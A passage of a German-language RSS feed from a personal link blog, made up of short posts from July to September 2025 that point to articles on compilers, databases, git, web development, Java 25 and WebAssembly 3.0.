</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/14/1.html</guid><pubDate>Mon, 14 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://xnacly.me/posts/2025/fast-lexer-strategies/&quot;&gt;Strategies for very fast Lexers&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/15/0.html</guid><pubDate>Tue, 15 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Raft_(algorithm)&quot;&gt;Raft (algorithm)&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/22/0.html</guid><pubDate>Tue, 22 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type&quot;&gt;CRDTs&lt;/a&gt; und: &lt;a href=&quot;https://jakelazaroff.com/words/an-interactive-intro-to-crdts/&quot;&gt;An Interactive Intro to CRDTs&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/23/0.html</guid><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://queue.acm.org/detail.cfm?id=3746174&quot;&gt;When Is WebAssembly Going to Get DOM Support?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>wasm</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/23/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/23/1.html</guid><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://michael-prokop.at/blog/2025/07/20/what-to-expect-from-debian-trixie-newintrixie/&quot;&gt;Neues in Debian 13&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/23/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/23/2.html</guid><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://usefulfictions.substack.com/p/how-to-increase-your-surface-area&quot;&gt;How to increase your surface area for luck&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/24/0.html</guid><pubDate>Thu, 24 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Habt ihr das auch gehört? Kauft VPN-Zugänge, damit man euch im Internet nicht tracken kann? Weil dann hat man ja eine andere IP-Adresse!
Das ist ja bekanntermaßen offensichtlicher Quatsch. Die EFF &lt;a href=&quot;https://coveryourtracks.eff.org&quot;&gt;hat das schon länger in einem Tool demonstriert&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://fingerprint.com&quot;&gt;fingerprint.com&lt;/a&gt; hat da was im Angebot. Sogar mit Live-Demo. Hier hat das jemand dokumentiert, falls ihr nicht draufklicken wollt: &lt;a href=&quot;https://www.bitestring.com/posts/2023-03-19-web-fingerprinting-is-worse-than-I-thought.html&quot;&gt;Web fingerprinting is worse than I thought&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/24/1.html</guid><pubDate>Thu, 24 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://garrit.xyz/posts/2023-11-01-tracking-sqlite-database-changes-in-git&quot;&gt;Tracking SQLite Database Changes in Git&lt;/a&gt;. &lt;a href=&quot;https://news.ycombinator.com/item?id=38114171&quot;&gt;Hier&lt;/a&gt; gibt es noch einen weiteren Trick, der nicht die SQLite-DB als Blob speichert, sondern als Plain-Text.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>sqlite</category><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/25/0.html</guid><pubDate>Fri, 25 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/src-d/hercules&quot;&gt;Gaining advanced insights from Git repository history&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/25/1.html</guid><pubDate>Fri, 25 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://qmacro.org/blog/posts/2024/05/13/using-arg-in-a-dockerfile-beware-the-gotcha/&quot;&gt;Using ARG in a Dockerfile - beware the gotcha&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>docker</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/25/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/25/2.html</guid><pubDate>Fri, 25 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.cs.cornell.edu/~asampson/blog/flattening.html&quot;&gt;Flattening ASTs (and Other Compiler Data Structures)&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/26/0.html</guid><pubDate>Sat, 26 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://frontendmasters.com/blog/what-you-need-to-know-about-modern-css-spring-2024-edition/&quot;&gt;What You Need to Know about Modern CSS (2024 Edition)&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/27/0.html</guid><pubDate>Sun, 27 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://continueandpersist.org&quot;&gt;Continue and Persist Letter&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>fun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/27/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/27/1.html</guid><pubDate>Sun, 27 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://byteofdev.com/posts/making-postgres-slow/&quot;&gt;Making Postgres 42,000x slower because I am unemployed&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/28/0.html</guid><pubDate>Mon, 28 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Interesing Read: &lt;a href=&quot;https://opensource.zalando.com/restful-api-guidelines/&quot;&gt;Die REST API-Guidelines bei Zalando&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/28/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/28/1.html</guid><pubDate>Mon, 28 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/9001/copyparty&quot;&gt;copyparty&lt;/a&gt;:  Portable file server with accelerated resumable uploads, dedup, WebDAV, FTP, TFTP, zeroconf, media indexer, thumbnails++ all in one file, no deps.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/28/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/28/2.html</guid><pubDate>Mon, 28 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.dumbpipe.dev&quot;&gt;dumb pipe&lt;/a&gt;: Easy, direct connections that punch through NATs &amp;amp; stay connected as network conditions change.&lt;/p&gt;
&lt;p&gt;Empfänger macht:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./dumbpipe listen
using secret key 23ryys7pgvjrr57pcrvyivdrhvqyykg2tv3leou5grm66xfd7zzq
Listening. To connect, use:
./dumbpipe connect nodeecsxraxjtqtneathgplh6d5nb2rsnxpfulmkec2rvhwv3hh6m4rdgaibamaeqwjaegplgayaycueiom6wmbqcjqaibavg5hiaaaaaaaaaaabaau7wmbq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sender:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;hello&quot; | ./dumbpipe connect nodeecsxraxjtqtneathgplh6d5nb2rsnxpfulmkec2rvhwv3hh6m4rdgaibamaeqwjaegplgayaycueiom6wmbqcjqaibavg5hiaaaaaaaaaaabaau7wmbq
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/29/0.html</guid><pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://medium.com/@meeusdylan/implementing-hyperloglog-in-go-ec88a3703a33&quot;&gt;Implementing HyperLogLog in Go&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/03/0.html</guid><pubDate>Sun, 03 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://bernsteinbear.com/blog/ssa/&quot;&gt;A catalog of ways to generate SSA&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>compiler</category><category>ssa</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/04/0.html</guid><pubDate>Mon, 04 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://newsletter.posthog.com/p/dont-make-these-classic-feature-flag&quot;&gt;Don&apos;t make these feature flag mistakes&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/05/0.html</guid><pubDate>Tue, 05 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://de.wikipedia.org/wiki/Raytracing&quot;&gt;Raytracing&lt;/a&gt;, die &lt;a href=&quot;https://de.wikipedia.org/wiki/Rendergleichung&quot;&gt;Rendergleichung&lt;/a&gt; und &lt;a href=&quot;https://de.wikipedia.org/wiki/Bidirektionale_Reflexionsverteilungsfunktion&quot;&gt;Bidirektionale Reflexionsverteilungsfunktion&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Hier gibt es noch tolle Kanäle dazu: &lt;a href=&quot;https://www.youtube.com/@g5min/videos&quot;&gt;g5min&lt;/a&gt; und &lt;a href=&quot;https://www.youtube.com/@cgvrlab903/videos&quot;&gt;cgvrlab903&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Und noch ein paar Videos: &lt;a href=&quot;https://www.youtube.com/watch?v=TrqK-atFfWY&amp;amp;list=PLQ3UicqQtfNuBjzJ-KEWmG1yjiRMXYKhh&amp;amp;index=15&quot;&gt;Introduction to Computer Graphics&lt;/a&gt;. Und noch &lt;a href=&quot;https://www.scratchapixel.com/lessons/3d-basic-rendering/minimal-ray-tracer-rendering-simple-shapes/minimal-ray-tracer-rendering-spheres.html&quot;&gt;ein Walk-Through&lt;/a&gt; und das obligatorishe &lt;a href=&quot;https://www.youtube.com/watch?v=nOCPpT-Sn0A&quot;&gt;Computerphile-Video&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/06/0.html</guid><pubDate>Wed, 06 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das Problem hatte ich auch schon ein paar mal: &lt;a href=&quot;https://bikeshedd.ing/posts/use_state_should_require_a_dependency_array/&quot;&gt;&lt;code&gt;useState&lt;/code&gt; should require a dependency array&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/07/0.html</guid><pubDate>Thu, 07 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://lcamtuf.substack.com/p/ui-is-hell-four-function-calculators&quot;&gt;UI is hell: four-function calculators&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/09/0.html</guid><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Postgres hat ja LISTEN/NOTIFY als Pub/Sub für Menschen, die sich für ein kleines Feature kein Redis hinstellen wollen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.recall.ai/blog/postgres-listen-notify-does-not-scale&quot;&gt;Damit gibt&apos;s auf großem Scale ein Problem&lt;/a&gt;: Wenn NOTIFY in einer Transaktion ausgeführt wird, lockt es die gesamte Datenbank.&lt;/p&gt;
&lt;p&gt;Die Orange Seite &lt;a href=&quot;https://news.ycombinator.com/item?id=44525353&quot;&gt;hat noch ein paar Tipps&lt;/a&gt;, was man stattdessen benutzen kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/10/0.html</guid><pubDate>Sun, 10 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.christo.sh/numbers-are-leaves/&quot;&gt;Numbers are Leaves&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>mathematik</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/12/0.html</guid><pubDate>Tue, 12 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der &lt;a href=&quot;https://en.wikipedia.org/wiki/Boyer%E2%80%93Moore%E2%80%93Horspool_algorithm&quot;&gt;Boyer-Moore-Horspool&lt;/a&gt;-Algorithmus zur Substring-Suche. Der wird bei Zig in der Standard-Library für &lt;code&gt;ìndexOf&lt;/code&gt; verwendet.&lt;/p&gt;
&lt;p&gt;Passend dazu hat jemand eine &lt;a href=&quot;https://aarol.dev/posts/zig-simd-substr/&quot;&gt;Implementierung eines anderen Alogrithmus auf SIMD-Basis&lt;/a&gt; geschrieben.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/13/0.html</guid><pubDate>Wed, 13 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://code.ffmpeg.org/FFmpeg/FFmpeg/commit/13ce36fef98a3f4e6d8360c24d6b8434cbb8869b&quot;&gt;ffmpeg hat jetzt built-in-support für Whisper über Whisper.cpp&lt;/a&gt;. Ich hab Whisper.cpp schonmal auf ein paar TB Videos laufen lassen müssen.
Die Ergebnisse sind releativ gut, wenn es sich bei de mVideo tatsächlich um viel gesprochenes handelt.
Wenn es etwas stiller wird oder gar keine Stimmen zu hören sind, halluziniert es sehr doll.&lt;/p&gt;
&lt;p&gt;Die Models werden bei ffmpeg nicht mit ausgeliefert und man muss eigene Model-Dateien angeben. Vielleicht taucht da irgendwo noch ein besseres Model auf.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/13/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/13/1.html</guid><pubDate>Wed, 13 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Daniel Stenberg (der Entwickler von cURL): &lt;a href=&quot;https://daniel.haxx.se/blog/2025/08/08/http-is-not-simple/&quot;&gt;Http is not simple&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>http</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/13/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/13/2.html</guid><pubDate>Wed, 13 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.nginx.org/blog/native-support-for-acme-protocol&quot;&gt;NGINX kann jetzt ACME&lt;/a&gt; und sich damit nativ LE-Zertifikate anfragen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/15/0.html</guid><pubDate>Fri, 15 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ar.al/2025/06/25/web-numbers/&quot;&gt;Web Numbers&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>netzwerk</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/16/0.html</guid><pubDate>Sat, 16 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das Git-Projekt arbeitet an einer &lt;a href=&quot;https://tylercipriani.com/blog/2025/08/15/git-lfs/&quot;&gt;built-in-Lösung&lt;/a&gt; für große Dateien als Alternative zu Git LFS.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/20/0.html</guid><pubDate>Wed, 20 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://buttondown.com/jaffray/archive/caching-is-an-abstraction-not-an-optimization/&quot;&gt;Caching is an Abstraction, not an Optimization&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/23/0.html</guid><pubDate>Sat, 23 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://kristoff.it/blog/asynchrony-is-not-concurrency/&quot;&gt;Asynchrony is not Concurrency&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/25/0.html</guid><pubDate>Mon, 25 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://shopify.engineering/five-years-of-react-native-at-shopify&quot;&gt;Five years of React Native at Shopify&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/27/0.html</guid><pubDate>Wed, 27 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.adventofts.com&quot;&gt;Advent of TypeScript&lt;/a&gt;. Quasi Advent-of-Code, nur für TypeScript-spezifische probleme auf Typebene.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/28/0.html</guid><pubDate>Thu, 28 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.epicreact.dev/how-react-suspense-works-under-the-hood-throwing-promises-and-declarative-async-ui-plbrh&quot;&gt;How React Suspense Works Under the Hood: Throwing Promises and Declarative Async UI&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/08/28/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/08/28/1.html</guid><pubDate>Thu, 28 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://bernsteinbear.com/blog/linear-scan-lifetime-holes/&quot;&gt;Linear scan with lifetime holes&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><category>ssa</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/01/0.html</guid><pubDate>Mon, 01 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://rubenerd.com/boring-tech-is-mature-not-old/&quot;&gt;Boring tech is mature, not old&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/02/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/02/ds.html</guid><pubDate>Tue, 02 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://engineering.fb.com/2021/07/09/core-infra/ribbon-filter/&quot;&gt;Ribbon filter: Practically smaller than Bloom and Xor&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/03/0.html</guid><pubDate>Wed, 03 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eine tolle Idee, wie man Farben beim Syntax-Highlighting anders verwenden kann: &lt;a href=&quot;https://buttondown.com/hillelwayne/archive/syntax-highlighting-is-a-waste-of-an-information/&quot;&gt;Syntax highlighting is a waste of an information channel&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/03/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/03/1.html</guid><pubDate>Wed, 03 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.4rknova.com/blog/2025/08/30/foil-sticker&quot;&gt;Implementing a Foil Sticker Effect&lt;/a&gt;. &lt;a href=&quot;https://github.com/simeydotme/pokemon-cards-css&quot;&gt;Hier&lt;/a&gt; ist eine CSS-Variante.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/05/0.html</guid><pubDate>Fri, 05 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Rete_algorithm&quot;&gt;Rete Algorithm&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/07/0.html</guid><pubDate>Sun, 07 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.theuncomfortable.com&quot;&gt;The Uncomfortable is a collection of deliberately inconvenient everyday objects&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>fun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/14/0.html</guid><pubDate>Sun, 14 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://stations.albertguillaumes.cat&quot;&gt;Models of European metro stations&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/16/0.html</guid><pubDate>Tue, 16 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://adamsilver.io/blog/your-vs-my-in-user-interfaces/&quot;&gt;“Your” vs “My” in user interfaces&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/16/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/16/1.html</guid><pubDate>Tue, 16 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.org/pipermail/announce/2025-September/000360.html&quot;&gt;Java 25 ist da&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Neu sind diese JEPs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/470&quot;&gt;470&lt;/a&gt;: PEM Encodings of Cryptographic Objects (Preview)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/502&quot;&gt;502&lt;/a&gt;: Stable Values (Preview)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/503&quot;&gt;503&lt;/a&gt;: Remove the 32-bit x86 Port&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/505&quot;&gt;505&lt;/a&gt;: Structured Concurrency (Fifth Preview)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/506&quot;&gt;506&lt;/a&gt;: Scoped Values&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/507&quot;&gt;507&lt;/a&gt;: Primitive Types in Patterns, instanceof, and switch (Third Preview)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/508&quot;&gt;508&lt;/a&gt;: Vector API (Tenth Incubator)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/509&quot;&gt;509&lt;/a&gt;: JFR CPU-Time Profiling (Experimental)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/510&quot;&gt;510&lt;/a&gt;: Key Derivation Function API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/511&quot;&gt;511&lt;/a&gt;: Module Import Declarations&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/512&quot;&gt;512&lt;/a&gt;: Compact Source Files and Instance Main Methods&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/513&quot;&gt;513&lt;/a&gt;: Flexible Constructor Bodies&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/514&quot;&gt;514&lt;/a&gt;: Ahead-of-Time Command-Line Ergonomics&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/515&quot;&gt;515&lt;/a&gt;: Ahead-of-Time Method Profiling&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/518&quot;&gt;518&lt;/a&gt;: JFR Cooperative Sampling&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/519&quot;&gt;519&lt;/a&gt;: Compact Object Headers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/520&quot;&gt;520&lt;/a&gt;: JFR Method Timing &amp;amp; Tracing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/521&quot;&gt;521&lt;/a&gt;: Generational Shenandoah&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/09/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/09/17/0.html</guid><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://webassembly.org/news/2025-09-17-wasm-3.0/&quot;&gt;WASM 3.0 ist fertig&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://webassembly.org/features&quot;&gt;Hier&lt;/a&gt; ist noch eine Übersicht an Features, an denen für die Zukunft gearbeitet wird.&lt;/p&gt;
